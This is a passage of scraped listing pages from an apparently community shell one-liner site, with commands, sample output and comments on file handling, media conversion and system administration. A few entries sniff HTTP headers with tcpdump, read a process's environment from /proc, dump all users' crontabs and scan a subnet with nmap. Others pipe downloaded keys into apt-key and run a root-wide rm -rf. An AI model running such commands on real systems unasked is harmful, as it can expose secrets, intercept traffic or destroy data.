dpkg --get-selections | grep linux-image linux-image-2.6.28-11-generic install linux-image-2.6.28-13-generic install linux-image-2.6.28-14-generic install linux-image-2.6.28-15-generic install linux-image-generic install ‹ First < 92 93 94 95 96 > Last › seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}' 0.237788 0.291066 0.845814 0.152208 0.585537 0.193475 0.810623 0.173531 0.484983 0.151863 0.366957 0.491736 0.910094 0.265257 0.893188 0.220351 0.631798 0.571077 0.332158 0.104455 0.502931 0.567394 0.854165 0.040141 0.108022 0.639396 0.013111 0.720184 0.101814 0.482945 Functions: awk printf seq sort -k1.x Sort lines using the Xth characted as the start of the sort string Tells sort to ignore all characters before the Xth position in the first field per line. If you have a list of items one per line and want to ignore the first two characters for sorting purposes, you would type "sort -k1.3". Change the "1" to change the field being sorted. The decimal value is the offset in the specified field to sort by. :!pylint -e % check python syntax in vim perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"' echo "I had 10 goats, then sam brought 5 more. \ Then we bought 4 more goats and 2 goats had babies. \ How many goats did we have?" | \ perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"' 1, '2' | 3, (-2) -.5 3.5 Functions: grep perl split Good for summing the numbers embedded in text - a food journal entry for example with calories listed per food where you want the total calories. Use this to monitor and keep a total on anything that ouputs numbers. wget <URL> -O- | wget -i - (bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny Functions: awk cat grep sort uniq Block all IP addresses and domains that have attempted brute force SSH login to computer Searches all log files (including archived bzip2 files) for invalid user and PAM authentication errors, both of which are indicative of brute force attempts at logging into computer. A list of all unique IP addresses and domain names is appended to hosts.deny. The command (and grep error messages) will work on Mac OS X 10.6, small adjustments may be needed for other OSs. ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php Search and replace text in all php files with ruby Search for the string "search" and replace it with the string "replace", on all files with the extension php in the curret folder. Do also a backup of each file with the extension "bkp". echo notify-send test | at now+1minute Functions: at echo test The simplest way to do it. Works for me, at least. (Why are the variables being set?) ps -p $$ short, sweet, and works after sudoing a new shell. ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9] Functions: awk grep kill ps xargs Kill all processes belonging to a user This is a 'killall' command equivalent where it is not available. Prior to executing it, set the environment variable USERNAME to the username, whose processes you want to kill or replace the username with the $USERNAME on the command above. Side effect: If any processes from other users, are running with a parameter of $USERNAME, they will be killed as well (assuming you are running this as root user) [-9] in square brackets at the end of the command is optional and strongly suggested to be your last resort. I do not like to use it as the killed process leaves a lot of mess behind. git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD .bashrc | 2 ++ 2 files changed, 22 insertions(+), 3 deletions(-) Functions: cut diff tail Figure out your work output for the day Figures out what has changed in the last 12 hours. Change the author to yourself, change the time since to whatever you want. units "2048 bytes" "kibibytes" units "2048 bytes" "kibibytes" units "40 furlongs" "meters" units "1 au" "light seconds" easily convert one unit to another Easily convert units of similar measurement. May also be invoked alone, units. curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g' Your IP address is: xxx.xxx.xxx.xxx display ip address add this alias in .bashrc to fast check the ip address of your modem router alias myip="curl -s http://myip.dk | grep '' | sed -e 's/]*>//g'" ps -ef | grep c\\ommand faster ;) but your idea is really cool watch lsof -i :80 whois surfing my web ? url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3" same as above but dumps the stream to a file. imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";} ifconfig | grep inet | imgur http://i.imgur.com/vBvvz.png Using PIPEs, Execute a command, convert output to .png file, upload file to imgur.com, then returning the address of the .png. imgur < /etc/issue % Total % Received % Xferd Average Speed Time Time Time Current http://i.imgur.com/bvbUD.png liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ;} # usage: liveh [-i interface] [output-file] && firefox & Functions: sed tcpdump livehttpheaders (firefox addon) replacement This uses only BRE, in case you're using an older version of sed(1) that doesn't have support for ERE added. With a modern sed(1), to reduce false positive matches, you might do something like: liveh(){ tcpdump -lnnAs512 -i ${1-} tcp |sed 's/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/GET |Host: |POST /!d;/[\"'"'"]/d;/\.\./d;w '"${2-liveh.txt}"'' >/dev/null ;} Anyway, it's easy to clean up the output file with sed(1) later. cdrecord -v dev=/dev/cdrom yourimage.iso Functions: cdrecord burn a isofile to cd or dvd cdrecord must be installed. usefull alias: alias burniso='cdrecord -v dev=/dev/cdrom' now iso burning is like. burniso image.iso psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}' Functions: gawk List all PostgreSQL databases. Useful when doing backups grep -P '\t' filename grep for tabs without using Ctrl-V trick -P tells grep to use perl regex matches (only works on the GNU grep as far as I know.) dd if=/dev/cdrom of=~/cd_image.iso gnu@robby: dd if=/dev/cdrom of=~/cd_image.iso 834244+0 records in 834244+0 records out 427132928 bytes (427 MB) copied, 198.13 s, 2.2 MB/s Creating ISO Images from CDs/DVDs create an iso from your cd/dvd-rom device . You need to umount /dev/cdrom before using the cli iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt Convert one file from ISO-8859-1 to UTF-8. Nothing fancy it just converts one file from one character encoding into another one. cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Expiration ; done | sed 's:Expiration Date::' Functions: cat echo grep read sed whois Produces a list of when your domains expire Create a text file called domainlist.txt with a domain per line, then run the command above. All registries are a little different, so play around with the command. Should produce a list of domains and their expirations date. I am responsible for my companies domains and have a dozen or so myself, so this is a quick check if I overlooked any. ls -ad */ dir1/ dir2/ dir3/ dir4/ ls only directories Like normal ls, but only lists directories. Can be used with -l to get more details (ls -lad */) ‹ First < 93 94 95 96 97 > Last › xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid Added medialib id 5076 to playlist Added medialib id 1537 to playlist Added medialib id 1148 to playlist Added medialib id 5336 to playlist Added medialib id 3876 to playlist Added medialib id 5165 to playlist Added medialib id 5485 to playlist Added medialib id 3884 to playlist Added medialib id 498 to playlist Added medialib id 3791 to playlist Functions: grep head sed sort xargs Add 10 random unrated songs to xmms2 playlist If you're like me and want to keep all your music rated, and you use xmms2, you might like this command. I takes 10 random songs from your xmms2 library that don't have any rating, and adds them to your current playlist. You can then rate them in another xmms2 client that supports rating (I like kuechenstation). I'm pretty sure there's a better way to do the grep ... | sed ... part, probably with awk, but I don't know awk, so I'd welcome any suggestions. aptitude install bash-completion ; source /etc/bash_completion Enable programmable bash completion in debian lenny The really awesome bash completion in debian seems to be an extra package now, which has to be installed. After sourcing /etc/bash_completion it completes almost everything (package names in apt... etc) :-) To make this permanent, put something like this in your .bashrc: if [ -f /etc/bash_completion]; then source /etc/bash_completion mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo; Functions: mkfifo ssh sudo Please check out my blog article on this for more detail. http://jdubb.net/blog/2009/08/07/monitor-wireshark-capture-real-time-on-remote-host-via-ssh/ set -x $ set -x + pwd /tmp $ asdf='x*' + asdf='x*' $ cd ~ + cd /home/tiger $ find $OLDPWD -name "$asdf" + find /tmp -name 'x*' Set a posix shell to echo all commands that it's about to execute, after all expansions have been done. the 'set -x' mode can be exited by typing set +x sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse' && wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add - BackTrack Repos Add the BackTrack repositories to your Debian based GNU/Linux distribution. Thanks to http://it-john.com/home/technology/linux-technology/add-back-track-4-repo-to-ubuntu/ find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more find largest file in /var isatty(){ test -t $1; } Functions: test Is it a terminal? Oddly, the isatty(3) glibc C call doesn't have a direct analogue as a command 'isatty(1)'. All is not lost as you can use test(1). For example, your script might be run from a tty or from a GUI menu item but it needs to get user-input or give feedback. Now your script can test STDIN with 'isatty 0' or STDOUT with 'isatty 1' and use xmessage(1) if the tty is not available. The other way to test for this is with 'tty -s' - but that's only for STDIN. ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3 Extract audio from Mythtv recording to Rockbox iPod using ffmpeg There are some pretty good live performances on late night TV. With Mythtv I record David Letterman, Jimmy Fallon, and Conan nightly all in HD from over the air broadcasts. If I find a live performance I like I copy it to my Rockboxed iPod using this command. The Rockbox firmware knows how to downmix 5.1 audio. The command above extracts the audio from the video starting at 58 minutes and 15 seconds. It ends at the end of the file since this was the last performance of the recording. The command creates an ac3 file. I copy the ac3 file to my Rockbox iPod and rock on. for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done --- crontab for user_one --- 0 16 * * * /bin/foo >>/var/log/foo.log 2>&1 42 10 * * * /bin/bar >>/var/log/bar.log 2>&1 --- crontab for user_two --- * * * * * /bin/foo >>/var/log/foo.log 2>&1 16 10 * * * /bin/bar >>/var/log/bar.log 2>&1 Functions: crontab echo print crontab entries for all the users that actually have a crontab This is how I list the crontab for all the users on a given system that actually have a crontab. You could wrap it with a function block and place it in your .profile or .bashrc for quick access. There's prolly a simpler way to do this. Discuss. sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv Functions: find rm sudo tee xargs Mac OS X: remove extra languages to save over 3 GB of space. This will get the job done in the most efficient way - spawning only one `rm` process. "On-the-fly" find data is displayed through `tee` and you should have plenty of time to ctrl-c if needed before it's too late. You may need to re-run this after major Software Updates. To leave more languages in, add more ``-and \! -iname "lang*"'' statements: sudo find / -iname "*.lproj" -and \! -iname "en*" -and \! -iname "spanish*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv **Edit: note the 2nd sudo near the end of the pipeline - this is necessary. at 6:00 <<< "xmms2 play" Functions: at An alarm clock using xmms2 and at I like the order of the arguments better this way. sc queryex type= service state= all | find "_NAME" SERVICE_NAME: Apache2.2 DISPLAY_NAME: Apache2.2 ... (truncated) SERVICE_NAME: BITS DISPLAY_NAME: Background Intelligent Transfer Service SERVICE_NAME: inetd DISPLAY_NAME: CYGWIN inetd SERVICE_NAME: pgsql-8.2 DISPLAY_NAME: PostgreSQL Database Server 8.2 List all Windows services on the command line On Windows 2000 or later, this command will give a listing of all the registered Windows services. You can then know what the name of a command is in order to start and stop it. sc start Apache2.2 net start Apache2.2 Please note that sc will allow the SERVICE_NAME only, while net will allow both SERVICE_NAME and DISPLAY_NAME. Note that the space between the = and the next word are important. Not very unixy, that. http://www.ss64.com/nt/sc.html http://www.ss64.com/nt/net_service.html http://technet.microsoft.com/en-us/library/bb490995.aspx find . -wholename './.snapshot' -prune -o -print Recursively lists all files in the current directory, except the ones in '.snapshot' directory This can be useful for those who have mounted NetApp file-systems with snapshot activated. grep "model name" /proc/cpuinfo model name : Genuine Intel(R) CPU T2080 @ 1.73GHz List the CPU model name Extracts the model name of the CPU and displays it on screen. xmodmap -e "pointer = 3 2 1" left-right mouse buttons (left-handed) echo {1..3}" o'clock" ROCK you'll just have to see now wont you This never gets old (printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME Functions: column ls printf sed Using column to format a directory listing perl -le'print"-"x50' -------------------------------------------------- Perl is installed by default on most modern OS when jot is not. tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0" Send a backup job to a remote tape drive on another machine over SSH I use this all the time for taking manual backups of stuff i want to keep but not important enough to backup regularly. cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)" Go to the next sibling directory in alphabetical order, version 2 Another version based on linkinpark342's contribution. find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail Functions: find perl sort Print the 10 deepest directory paths awk '{print $1}' < three-column.txt > first-column.txt sudo /bin/netstat -tpee sudo /bin/netstat -tpee Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name tcp 0 0 115.184.221.168:58635 tx-in-f102.google:https TIME_WAIT root 0 - To get internet connection information . To get the connection information of protocol tcp and extended infortmation. umount -a -t nfs Functions: umount umount all nfs mounts on machine cd XX YY replace XX by YY in the the current directory and cd to it. ( in ZSH ) If you are in /begin/path/with/XX/pattern will change your current directory to /begin/path/with/YY/pattern in ZSH ‹ First < 94 95 96 97 98 > Last › rename .JPG .jpg *.JPG Change the extension of a filename by using rename to convert This will change all files ending in .JPG to .jpg and will work with any file extension awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt > outfile.txt Remove duplicate rows of an un-sorted file based on a single column The command (above) will remove any duplicate rows based on the FIRST column of data in an un-sorted file. The '$1' represents a positional parameter. You can change both instances of '$1' in the command to remove duplicates based on a different column, for instance, the third: awk '{ if ($3 in stored_lines) x=1; else print; stored_lines[$3]=1 }' infile.txt > outfile.txt Or you can change it to '$0' to base the removal on the whole row: awk '{ if ($0 in stored_lines) x=1; else print; stored_lines[$0]=1 }' infile.txt > outfile.txt ** Note: I wouldn't use this on a MASSIVE file, unless you're RAM-rich ;) ** shuf -i 1-49 -n 6 | sort -n | xargs :source ~/.vimrc load changes without logging in and out vim src: daily vim blog perl -ane 'print unless $x{$F[0]}++' infile > outfile F[0] filters using first word. $F[1] - 2nd, and so on. tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/ Archive a directory with datestamp on filename A useful bash function: gztardir() if [ $# -ne 1 ] ; then echo "incorrect arguments: should be gztardir " tar zcvf "${1%/}-$(date +%Y%m%d-%H%M).tar.gz" "$1" watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k" Watch the size of a directory using figlet You can substitute /home/$USER with any path you like. find . -name .svn -type d -exec rm -rf '{}' + With the plus instead of semicolon, find builds the (eg.) rm command like xargs does - invokes as few extra processes as possible. sed -n '/START/,${/STOP/q;p}' Match near start of file $ time (sed -n '/,166499.248,/,/!./{/166499/d;/RTKCOMMAND/q;/#BESTPOS/p}' ../UUT1.ASC > temp_time_file) real 0m0.093s user 0m0.030s sys 0m0.030s $ time (sed -n '/,166499.248,/,/#RTKCOMMAND/{/#BESTPOS/p}' ../UUT1.ASC > temp_time_file) real 0m2.015s user 0m0.484s sys 0m0.061s $ time (grep -A 2500 -m 1 ",166499.248," ../UUT1.ASC | grep -A 2500 -m 1 '\#RTKCOMMAND' | grep '\#BESTPOS' > temp_time_file) real 0m0.171s user 0m0.122s sys 0m0.060s Match near end of file $ time (sed -n '/,230399.072,/,/#RTKCOMMAND/{/#BESTPOS/p}' ../UUT1.ASC > temp_time_file) real 0m2.000s user 0m0.390s sys 0m0.046s $ time (sed -n '/,230399.072,/,/!./{/,230399.072,/d;/RTKCOMMAND/q;/#BESTPOS/p}' ../UUT1.ASC > temp_time_file) user 0m0.468s sys 0m0.076s $ time (grep -A 2500 -m 1 ",230399.072," ../UUT1.ASC | grep -A 2500 -m 1 '\#RTKCOMMAND' | grep '\#BESTPOS' > temp_time_file) real 0m1.703s user 0m0.137s Efficiently extract lines between markers GNU Sed can 'address' between two regex, but it continues parsing through to the end of the file. This slight alteration causes it to terminate reading the input file once the STOP match is made. In my example I have included an extra '/START/d' as my 'start' marker line contains the 'stop' string (I'm extracting data between 'resets' and using the time stamp as the 'start'). My previous coding using grep is slightly faster near the end of the file, but overall (extracting all the reset cycles in turn) the new SED method is quicker and a lot neater. find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz Functions: find gzip sed sh sort xargs Move all but the newest 100 emails to a gzipped archive netstat -an|grep -ci "tcp.*established" 39 calulate established tcp connection of local machine If you want prepend/append text just wrap in echo: echo Connected: `netstat -an|grep -ci "tcp.*established"` alias ips='ip a | awk '\''/inet /&&!/ lo/{print $NF,$2}'\'' | column -t' Functions: alias awk column print all network interfaces' names and IPv4 addresses ifconfig can't properly display interface's name longer 9 symbols,also it can't show IPs added thru ip command, so 'ip' should be used instead. This alias properly shows long names, bond interfaces and all interface aliases. loopback interface is ignored, since its IP is obvious echo "foo bar" | sudo tee -a /path/to/some/file foo bar Add a line to a file using sudo This is the solution to the common mistake made by sudo newbies, since sudo echo "foo bar" >> /path/to/some/file does NOT add to the file as root. Alternatively, sudo echo "foo bar" > /path/to/some/file should be replaced by echo "foo bar" | sudo tee /path/to/some/file And you can add a >/dev/null in the end if you're not interested in the tee stdout : echo "foo bar" | sudo tee -a /path/to/some/file >/dev/null system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com On Mac OS X, runs System Profiler Report and e-mails it to specified address. Replace "user@domain.com" with the target e-mail address. Thanks to alediaz for "$HOSTNAME" which is very useful when running the command with Apple Remote Desktop to multiple machines simultaneously. sort -t $'\t' -k 2 input.txt Sao Paulo BRA Shanghai CHN Jakarta IDN Mumbai (Bombay) IND Seoul KOR Ciudad de Mexico MEX Karachi PAK Moscow RUS Istanbul TUR New York USA Pass TAB as field separator to sort, join, cut, etc. Use this BASH trick to create a variable containing the TAB character and pass it as the argument to sort, join, cut and other commands which don't understand the \t notation. sort -t $'\t' ... join -t $'\t' ... cut -d $'\t' ... find -iname \*.[ch] -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \; Functions: emacs find Indent all the files in a project using emacs use -iname \*[.ch] instead of -iname \*.c -o -iname \*.h awk 'NR >= 3 && NR <= 6' /path/to/file This command uses awk(1) to print all lines between two known line numbers in a file. Useful for seeing output in a log file, where the line numbers are known. The above command will print all lines between, and including, lines 3 and 6. mysqldump -u $USER --password=$PASSWORD --add-drop-table --no-data "$DATABASE" | grep ^DROP | mysql -u $USER --password=$PASSWORD "$DATABASE" Uses two comands, requieres mysqldump, but works as expected. ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi Record a webcam output into a video file. The option -an disables audio recording, -f forces the use of video4linux for the input, -s sets the video to the size 320x240, -b sets the recording bitrate, -r sets the frame rate to 15fps, -i gives the input device, -vcodec sets the output format. Press Q to stop recording or you can specify the recording time with the -t option like -t 00:1:30 ps -C thisdaemon || { thisdaemon & } Check ps output to see if file is running, if not start it This comes in handy if you have daemons/programs that have potential issues and stop/disappear, etc., can be run in cron to ensure that a program remains up no matter what. Be advised though, if a program did core out, you'd likely want to know why (gdb) so use with caution on production machines. mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi Extract audio track from a video file using mencoder Extracts an MP3 encoded audio stream from an input video file. mplayer dvdnav:// -dvd-device foo.img -mouse-movements Play ISO/DVD-files and activate dvd-menu and mouse menu clicks. curl -s http://google.com | hexdump -C|less 00000000 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 |<HTML><HEAD><met| 00000010 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f |a http-equiv="co| 00000020 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 |ntent-type" cont| 00000030 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 |ent="text/html;c| 00000040 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c |harset=utf-8">.<| 00000050 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c |TITLE>301 Moved<| 00000060 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 |/TITLE></HEAD><B| 00000070 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 |ODY>.<H1>301 Mov| 00000080 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 |ed</H1>.The docu| 00000090 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c |ment has moved.<| 000000a0 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 |A HREF="http://w| 000000b0 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 22 3e |ww.google.com/">| 000000c0 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 |here</A>...</BOD| 000000d0 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a |Y></HTML>..| Functions: hexdump Useful to browse dangerous web sites. eval `ssh-agent`; screen Functions: eval Let's make screen and ssh-agent friends When you start screen as `ssh-agent screen`, agent will die after detatch. If you don't want to take care about files when stored agent's pid/socket/etc, you have to use this command. id <username> Functions: id Verify if user account exists in Linux / Unix ‹ First < 95 96 97 98 99 > Last › ls -l --time-style=+"%Y-%m-%d %H:%M:%S" $ ls -lart --time-style=+"%Y-%m-%d %H:%M:%S" demoroniser.1 bar -rw-r--r-- 1 bchittenden bchittenden 6723 2003-09-16 08:44:30 demoroniser.1 -rw-r--r-- 1 bchittenden bchittenden 0 2011-02-10 12:07:55 bar Customize time format of 'ls -l' the --time-style argument to 'ls' takes several possible modifiers: full-iso, long-iso, iso, locale, +FORMAT. The +FORMAT modifier uses the same syntax as date +FORMAT. --time-style=+"%Y-%m-%d %H:%M:%S" strikes a happy medium between accuracy and verbosity: ls -lart --time-style=long-iso doesn't show time down to the nearest second, ls -lart --time-style=full-iso displays time to 10E-9 second resolution, but with no significant digits past the full seconds, also showing the timezone: -rw-r--r-- 1 bchittenden bchittenden 0 2011-02-10 12:07:55.000000000 -0500 bar curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz Backup your OpenWRT config (only the config, not the whole system) You only have to fill in your administrative account and password, and the router FQDN! I recommand to execute this command not over the internet, because there is no encryption (the username and password will be transmitted in plaintext!) lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p' Leiden a shorter version s="StrinG"; echo ${s,,} string Another alternative is to define a function: lower() { echo ${@,,} lower StrinG find . -name "*.py[co]" -exec rm -f {} \; Cleanup Python bytecode files This command will erase all bytecode versions of Python modules under the current directory. sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox Functions: sed sudo Show an application's environment variables Sometimes you need to compare two config files on different servers. Put the file names into the above script and let 'er rip. for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done Batch file name renaming (copying or moving) w/ glob matching. wget http://twitter.com/help/test.json -q -O - "ok" Ping Twitter to check if you can connect Returns a JSON object, by connecting to the 'test' endpoint of the Twitter API. Simplest way to check if you can connect to Twitter. Output also available in XML, use '/help/test.xml' for that ps -o lstart <pid> STARTED Mon Oct 18 04:02:01 2010 display date of last time a process was started in `date` format STARTED Mon Oct 18 04:02:01 2010 cp --backup=t source.file target.file Never rewrites a file while copying (or moving) Allows you to preserve your files when using cp, mv, ln, install or patch. When the target file exists, it will generate a file named XXX.~N~ (N is an auto-incremental number) instead of deleting the target file. while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done Functions: echo sleep tail vmstat Output system statistics every 5 seconds with timestamp See man vmstat for information about the statistics. This does the same thing without the timestamp: vmstat 5 awk 'NR%3==1' file Every Nth line position # (AWK) A better way to show the file lines 3n + 1 find . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \; Add .gitignore files to all empty directories recursively from your current directory du -sk ./* | sort -nr 22.6M ./NVIDIA-Linux-x86-185.18.31-pkg1.run 152K ./ffmpeginstall.3.2.1 28K ./compiz-check 16K ./ffmpeginstall.3.2.1.tar.gz 8K ./Desktop 4K ./Videos 4K ./Templates 4K ./Public 4K ./Pictures 4K ./Music 4K ./Documents 4K ./cpanel_rebuildbindzones nice disk usage, sorted by size, see description for full command full command below, would not let me put full command in text box du -sk ./* | sort -nr | awk 'BEGIN{ pref[1]="K"; pref[2]="M"; pref[3]="G";} { total = total + $1; x = $1; y = 1; while( x > 1024 ) { x = (x + 1023)/1024; y++; } printf("%g%s\t%s\n",int(x*10)/10,pref[y],$2); } END { y = 1; while( total > 1024 ) { total = (total + 1023)/1024; y++; } printf("Total: %g%s\n",int(total*10)/10,pref[y]); }' bargs { while read i; do "$@" "$i"; done } fold -w 78 -s file-to-wrap Break lines after, for example 78 characters, but don't break within a word/string Per default, linux/unix shells are configured with a width of 80 characters. If you like to edit a phrase or string on a line with more than 80 characters it might take long to go there (for example a line with 1000 characters and you like to edit the 98th word which is character 598-603). Maybe you might wish to use 78 characters, because if you forward the text via mail and the text will be quoted (2 extra characters at the beginning to the line "> "), you use 80 characters, otherwise 82, which are lame. echo '{"json":"obj"}' | python -mjson.tool Using json.tool from the shell to validate and pretty-print screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done Functions: gawk grep read screen connect to all screen instances running connects to all the screen instances running. echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt If you want edit your sqlite database in any uft8 supported editor, you can dump whole sqlite database to plain text. printf "$PWD/%s\n" * $ touch apple banana cherry $ printf "$PWD/%s\n" * /home/flatcap/apple /home/flatcap/banana /home/flatcap/cherry list with full path List the full path of some files. You can add ".*" on the end if you want to display hidden files. hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso Create an ISO Image from a folder and burn it to CD Create an ISO Image from a folder and burn it to CD (Os X) $EDITOR `perldoc -l Module::Name` Open Perl module source in your editor Ever needed to look at the Perl source of an installed module on your system? This works in 90% of cases. for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done Come on... Rename all files which contain the sub-string 'foo', replacing it with 'bar' That is an alternative to command 8368. Command 8368 is EXTREMELY NOT clever. 1) Will break also for files with spaces AND new lines in them AND for an empty expansion of the glob '*' 2) For making such a simple task it uses two pipes, thus forking. 3) xargs(1) is dangerous (broken) when processing filenames that are not NUL-terminated. 4) ls shows you a representation of files. They are NOT file names (for simple names, they mostly happen to be equivalent). Do NOT try to parse it. Why? see this :http://mywiki.wooledge.org/ParsingLs Recursive version: find . -depth -name "*foo*" -exec bash -c 'for f; do base=${f##*/}; mv -- "$f" "${f%/*}/${base//foo/bar}"; done' _ {} + tree -dL 1 to include hidden dirs use: tree -adL 1 (with ls, requires 'ls -ad */ .*/') ‹ First < 96 97 98 99 100 > Last › sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices" 3 Linux device(s) 2 Window(s) devices Functions: echo grep sudo How many Linux and Windows devices are on your network? Shows how many Windows and Linux devices are on your network. May add support for others, but that's all that are on my network right now. ls /sys/bus/scsi/devices bradyc@mteb:~$ ls /sys/bus/scsi/devices/ 0:0:0:0 1:0:0:0 2:0:0:0 Shows physically connected drives (SCSI or SATA) This will show all physically connected SATA (and SCSI) drives on your system. This is particularly useful when troubleshooting hard disks.... or when a mount point seems to be missing. git checkout - $ git checkout master Switched to branch 'master' $ git checkout source-doc Switched to branch 'source-doc' $ git checkout - Switch to the previous branch used in git(1) Very useful if you keep switching between the same two branches all the time. pdftk mydoc.pdf burst gnu@robby:~/garde$ ls page.de.garde.tp.constit.pdf gnu@robby:~/garde$ pdftk page.de.garde.tp.constit.pdf burst doc_data.txt pg_0003.pdf pg_0007.pdf pg_0011.pdf page.de.garde.tp.constit.pdf pg_0004.pdf pg_0008.pdf pg_0012.pdf pg_0001.pdf pg_0005.pdf pg_0009.pdf pg_0013.pdf pg_0002.pdf pg_0006.pdf pg_0010.pdf gnu@robby:~/garde$ cat doc_data.txt InfoKey: Creator InfoValue: TeX InfoKey: Producer InfoValue: pdfTeX-1.40.3 InfoKey: PTEX.Fullbanner InfoValue: This is pdfTeX using libpoppler, Version 3.141592-1.40.3-2.2 (Web2C 7.5.6) kpathsea version 3.5.6 InfoKey: ModDate InfoValue: D:20091110095403+01'00' InfoKey: CreationDate PdfID0: f61291d4e7e7cac3cd595b6aed174d PdfID1: f61291d4e7e7cac3cd595b6aed174d NumberOfPages: 13 Burst a Single PDF Document into Single Pages and Report its Data to doc_data.txt Require the pdftk package It ll split each page in your pdf file , into a new pdf file and report info on doc_data.txt getfacl <file-with-acl> | setfacl -f - <file-with-no-acl> foo@bar:/tmp> touch file-with-no-acl foo@bar:/tmp> # create file in windows with acl foo@bar:/tmp> ll -rwx------+ 1 foo none 0 Dec 8 23:42 file-with-acl -rw-r--r-- 1 foo none 0 Dec 8 23:41 file-with-no-acl foo@bar:/tmp> getfacl file-with-* # file: file-with-acl # owner: foo # group: none user::rwx group::--- group:root:rwx 